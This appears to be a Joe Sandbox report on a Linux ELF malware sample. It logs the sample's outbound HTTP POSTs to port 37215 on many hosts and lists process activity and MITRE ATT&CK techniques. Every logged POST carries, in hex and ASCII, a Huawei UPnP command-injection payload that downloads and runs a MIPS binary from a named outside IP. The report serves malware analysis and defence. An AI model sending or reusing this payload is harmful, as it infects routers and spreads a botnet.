65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1175	192.168.2.13	50184	197.122.101.70	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:04.024847984 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1176	192.168.2.13	57560	156.152.64.203	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:04.028373957 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1177	192.168.2.13	54652	197.252.235.15	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:04.031318903 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1178	192.168.2.13	58064	197.126.228.43	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:04.034344912 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1179	192.168.2.13	47800	41.221.174.127	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:04.036760092 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Behavior

Analysis Process: s8y4CBbFHW.elf PID: 5432, Parent PID: 5356

General

Start time (UTC):	13:37:57
Start date (UTC):	10/06/2024
Path:	/tmp/s8y4CBbFHW.elf
Arguments:	/tmp/s8y4CBbFHW.elf
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	13:37:57
Start date (UTC):	10/06/2024
Path:	/tmp/s8y4CBbFHW.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	13:37:57
Start date (UTC):	10/06/2024
Path:	/tmp/s8y4CBbFHW.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	13:37:57
Start date (UTC):	10/06/2024
Path:	/tmp/s8y4CBbFHW.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	13:37:57
Start date (UTC):	10/06/2024
Path:	/tmp/s8y4CBbFHW.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	13:37:57
Start date (UTC):	10/06/2024
Path:	/tmp/s8y4CBbFHW.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	13:37:57
Start date (UTC):	10/06/2024
Path:	/tmp/s8y4CBbFHW.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	13:38:03
Start date (UTC):	10/06/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	13:38:03
Start date (UTC):	10/06/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	13:38:03
Start date (UTC):	10/06/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	13:38:03
Start date (UTC):	10/06/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	13:38:03
Start date (UTC):	10/06/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	13:38:03
Start date (UTC):	10/06/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	13:38:03
Start date (UTC):	10/06/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	13:38:03
Start date (UTC):	10/06/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	13:38:11
Start date (UTC):	10/06/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	-
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	13:38:11
Start date (UTC):	10/06/2024
Path:	/usr/sbin/xfpm-power-backlight-helper
Arguments:	/usr/sbin/xfpm-power-backlight-helper --get-max-brightness
File size:	14656 bytes
MD5 hash:	3d221ad23f28ca3259f599b1664e2427

Start time (UTC):	13:38:04
Start date (UTC):	10/06/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	13:38:04
Start date (UTC):	10/06/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	13:38:04
Start date (UTC):	10/06/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	13:38:04
Start date (UTC):	10/06/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	13:38:11
Start date (UTC):	10/06/2024
Path:	/usr/bin/dbus-daemon
Arguments:	-
File size:	249032 bytes
MD5 hash:	3089d47e3f3ab84cd81c48fd406d7a8c

Start time (UTC):	13:38:11
Start date (UTC):	10/06/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd
File size:	112880 bytes
MD5 hash:	4c7a0d6d258bb970905b19b84abcd8e9

Start time (UTC):	13:38:15
Start date (UTC):	10/06/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time (UTC):	13:38:15
Start date (UTC):	10/06/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd
File size:	112872 bytes
MD5 hash:	eee956f1b227c1d5031f9c61223255d1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.
Tactics:	Impact
Data Sources:	Command: Command Execution, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Termination, Service: Service Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report s8y4CBbFHW.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/home/saturnino/.config/xfce4/xfconf/xfce-perchannel-xml/xfce4-panel.xml.new

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: s8y4CBbFHW.elf PID: 5432, Parent PID: 5356

General

Chronological Activities

Analysis Process: s8y4CBbFHW.elf PID: 5434, Parent PID: 5432

General

Chronological Activities

Analysis Process: s8y4CBbFHW.elf PID: 5436, Parent PID: 5434

General

Chronological Activities

Analysis Process: s8y4CBbFHW.elf PID: 5438, Parent PID: 5434

General

Linux Analysis Report
s8y4CBbFHW.elf